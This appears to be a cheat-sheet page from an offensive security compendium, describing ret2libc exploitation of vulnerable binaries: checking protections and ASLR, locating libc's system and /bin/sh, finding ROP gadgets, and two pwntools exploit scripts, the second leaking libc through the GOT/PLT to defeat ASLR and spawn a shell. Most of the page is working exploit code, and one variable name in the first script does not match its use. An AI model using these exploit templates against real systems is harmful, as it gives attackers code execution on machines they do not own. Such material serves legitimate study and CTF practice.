killchain-compendium/exploit/binaries/ret2libc.md

Ret2libc

• Check binary via
  • checksec, PIE shows start address, RELRO shows permissions of r/w to got
  • file
• Libc is affected by ASLR state of the machine, check via cat /proc/sys/kernel/randomize_va_space
  • Off = 0
  • Partial = 1
  • Full = 2
• got contains dynamically loaded functions
• plt contains used loaded dynamical functions

Finding something to execute

• Interesting stuff to call from inside libc
  • /bin/sh
  • system

libc -- Finding Offsets

Manually

• On target find sh address inside libc

strings -a -t x /lib32/libc.so.6 | grep /bin/sh

• Sub from system address from inside libc

readelf -s /lib32/libc.so.6 | grep system

Measure the Buffer

• With gef
  • create pattern
  • run
  • Use pattern
  • pattern search $<register>

ROP -- Creating a Chain

• Creating a ROP chain to execute the /bin/sh with parameters
• Check
  • Architecture
  • Calling convention

Manually

ROPgadget --binary <file> | grep rdi

• Find rets, to put in front of rdi

objdump -d <file> | grep ret

Example without ASLR

from pwn import *

p = process('<binary>')

cbase = 0x<libc_base>
sys = cbase + <libc_system>
sh = cbase + <libc_shell>
rop_rdi = <found rop rdi>
rop_ret = <found rop ret>

payload =  b'A' * <count>
payload += b'B' * 8
payload += p64(rop_ret)
payload += p64(rop_rdi)
payload += p64(sh)
payload += p64(system)
payload += p64(0x0) # end payload

p.recv()
p.sendline(payload)
p.interactive()

Example with ASLR

• Create context

#!/usr/bin/env python3

from pwn import *

context.binary = binary = '<binary>'
elf = ELF(binary)
rop = ROP(elf)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process()

# ROP I, needed when ASL is enabled
payload =  b'A' * 18
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.gets)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)

p.recvline()
p.sendline(payload)
p.recvline()
leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement
p.recvline()

log.info(f"gets: {hex(leak)}")
libc.address = leak - libc.symbols.gets
log.info(f"libc address: {hex(libc.address)}")  # start address should be aligned

# ROP II
payload = b'A' * 18
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(libc.symbols.system)

p.sendline(payload)
p.recvline()
p.interactive()